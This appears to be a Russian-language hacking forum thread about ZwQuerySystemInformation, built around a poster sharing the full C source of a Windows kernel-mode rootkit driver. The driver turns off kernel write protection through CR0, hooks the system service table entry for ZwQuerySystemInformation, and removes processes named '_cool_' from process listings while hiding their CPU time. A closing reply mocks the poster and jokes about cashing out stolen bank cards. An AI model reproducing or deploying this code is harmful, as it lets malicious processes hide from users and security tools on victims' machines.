FromRing0 для начала (конкретно по этому коду) советую что же все таки делает эта "злосчастная" ZwQuerySystemInformation, иначе понимания совсем не будет. PS как то не охота запускать трояны от таких пионеров
ZwQuerySystemInformation is the source of much of the information displayed by “Performance Monitor”for the classes Cache,Memory,Objects,Paging File,Process, Processor,System,and Thread.It is also frequently used by resource kit utilities that display information about the system. Тут понятно что эта функция даёт обширную информацию о системе : потоки,объекты,память,кэш,процессы и тд. The ReturnLength information is not always valid (depending on the information class),even when the routine returns STATUS_SUCCESS.When the return value indicates STATUS_INFO_LENGTH_MISMATCH,only some of the information classes return an estimate of the required length. Some information classes are implemented only in the “checked”version of the kernel.Some,such as SystemCallCounts,return useful information only in “checked” versions of the kernel. // тут про флаги и "версии" ядер Some information classes require certain flags to have been set in NtGlobalFlags at boot time.For example,SystemObjectInformation requires that FLG_MAINTAIN_OBJECT_TYPELIST be set at boot time. Information class SystemNotImplemented1 (4) would return STATUS_NOT_IMPLEMENTED if it were not for the fact that it uses DbgPrint to print the text “EX: SystemPathInformation now available via SharedUserData.”and then calls DbgBreakPoint.The breakpoint exception is caught by a frame based exception handler (in the absence of intervention by a debugger) and causes ZwQuerySystemInformation to return with STATUS_BREAKPOINT а вот дальше не понял ...есть инфа на русском ?
В принципе нашёл NativeAPI.pdf там конкретно всё описываеться про ZwQuerySystemInformation, но на английском... censored дай ещё подсказок пзл
УРААААААААААААААААААААА получилось ! прячет всё нафик Code (Text): #include "ntddk.h" #define DWORD unsigned long #define WORD unsigned short #define BOOL unsigned long #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] // Length of process name (rounded up to next DWORD) #define PROCNAMELEN 40 // Maximum length of NT process name #define NT_PROCNAMELEN 16 ULONG gProcessNameOffset; struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason; }; struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //windows 2000 only struct _SYSTEM_THREADS Threads[1]; }; // added -Creative struct _SYSTEM_PROCESSOR_TIMES { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; LARGE_INTEGER InterruptTime; ULONG InterruptCount; }; // added -Creative LARGE_INTEGER m_UserTime; LARGE_INTEGER m_KernelTime; // function prototype NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); // typedef so we can make a working call thru the saved pointer typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; /* Find the offset of the process name within the executive process block. We do this by searching for the first occurance of "System" in the current process when the device driver is loaded. */ void GetProcessNameOffset() { PEPROCESS curproc = PsGetCurrentProcess(); int i; for( i = 0; i < 3*PAGE_SIZE; i++ ) { if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") )) { gProcessNameOffset = i; } } } /* Copy the process name into the specified buffer. */ ULONG GetProcessName( PCHAR theName ) { PEPROCESS curproc; char *nameptr; ULONG i; KIRQL oldirql; if( gProcessNameOffset ) { curproc = PsGetCurrentProcess(); // PsGetCurrentProcess функция возвращяет указатель на на процесс текущего потока nameptr = (PCHAR) curproc + gProcessNameOffset; // Тут не понятно strncpy( theName, nameptr, NT_PROCNAMELEN ); // пихаем в nameptr theName ЗАЧЕМ ? theName[NT_PROCNAMELEN] = 0; // Нуль строка return TRUE; } return FALSE; } NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength) { NTSTATUS rc; // NT Статус тут всё понятно CHAR aProcessName[PROCNAMELEN]; // массив aProcessName[20] (см.#define PROCNAMELEN 20) GetProcessName( aProcessName ); // В Функцию GetProcessName передаём массив aProcessname, помоему показывать какой процесс // запросил функцию ZwQuerySystemInformation() я прав ? DbgPrint("Rootkit: NewZwQuerySystemInformation() from %s\n", aProcessName); // пишем в дебаг rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( // Вот тут нифига не понятно что делаеться :( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); DbgPrint(" real ZwQuerySystemInfo returned %d", rc); if( NT_SUCCESS( rc ) ) // Если rc успешен %) { if(0 == memcmp(aProcessName, "_cool_", 6)) // Если в название процесса = _cool_ (если memcmp вернёт 0) { DbgPrint("Rootkit: Получина команда скрыть процесс копибара :) \n"); } else if( 5 == SystemInformationClass ) // если 5 равен ХЗ чему , нашёл где то что SystemInformationClass это // The type of system information to be queried.The permitted values are a subset of // the enumeration SYSTEM_INFORMATION_CLASS,described in the following section. хз что это :) // SystemProcessesAndThreadsInformation это 5 ? { // this is a process list, look for process names that start with // '_root_' int iChanged = 0; struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; // а я то думал копибара та структура в начале кода struct _SYSTEM_PROCESSES *prev = NULL; // вторая.... while(curr) // пока есть кур... есть кур ? кушать куриц ? :) { //struct _SYSTEM_PROCESSES *next = ((struct _SYSTEM_PROCESSES *)curr += curr->NextEntryDelta); // АВТОР ГАД !! :) меня не обманешь ANSI_STRING process_name; RtlUnicodeStringToAnsiString(&process_name, &(curr->ProcessName), TRUE); if( (0 < process_name.Length) && (255 > process_name.Length) ) { // TODO: Change the prefix of the process to hide if(0 == memcmp( process_name.Buffer, "_cool_", 6)) { ////////////////////////////////////////////// // we have a winner! ////////////////////////////////////////////// char _output[255]; char _pname[255]; memset(_pname, 0, 255); memcpy(_pname, process_name.Buffer, process_name.Length); DbgPrint("Rootkit: hiding process, pid: %d\tname: %s\r\n",curr->ProcessId,_pname); iChanged = 1; m_UserTime.QuadPart += curr->UserTime.QuadPart; m_KernelTime.QuadPart += curr->KernelTime.QuadPart; if(prev) { if(curr->NextEntryDelta) { // make prev skip this entry prev->NextEntryDelta += curr->NextEntryDelta; } else { // we are last, so make prev the end prev->NextEntryDelta = 0; } } else { if(curr->NextEntryDelta) { // we are first in the list, so move it forward (char *)SystemInformation += curr->NextEntryDelta; } else { // we are the only process! SystemInformation = NULL; } } } } else { //add the times of _root_* processes to the Idle process curr->UserTime.QuadPart += m_UserTime.QuadPart; curr->KernelTime.QuadPart += m_KernelTime.QuadPart; m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; } RtlFreeAnsiString(&process_name); if (0 == iChanged) prev = curr; else iChanged = 0; if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } } else if (8 == SystemInformationClass) //SystemProcessorTimes { struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation; times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart; } } return rc; } VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) { DbgPrint("Rootkit: OnUnload called\n"); // UNProtect memory __asm { push eax mov eax, CR0 and eax, 0FFFEFFFFh mov CR0, eax pop eax } // put back the old function pointer InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation), (LONG) OldZwQuerySystemInformation); // REProtect memory __asm { push eax mov eax, CR0 or eax, NOT 0FFFEFFFFh mov CR0, eax pop eax } } NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) { DbgPrint("Rootkit: WE ARE ALIVE! Let the hiding begin.\n"); GetProcessNameOffset(); theDriverObject->DriverUnload = OnUnload; // UNProtect memory __asm { push eax mov eax, CR0 and eax, 0FFFEFFFFh mov CR0, eax pop eax } OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation), (LONG) NewZwQuerySystemInformation); // REProtect memory __asm { push eax mov eax, CR0 or eax, NOT 0FFFEFFFFh mov CR0, eax pop eax } return STATUS_SUCCESS; }
взял чужой код, с горем пополам скомпилировал, еле как добился его работы (еще неизвестно как он себя поведет на чужой машине), с тем, что драйвер делает не разобрался, а теперь еще и похвали?! хвалю =) можно смело бежать, снимать деньгу с кардешков.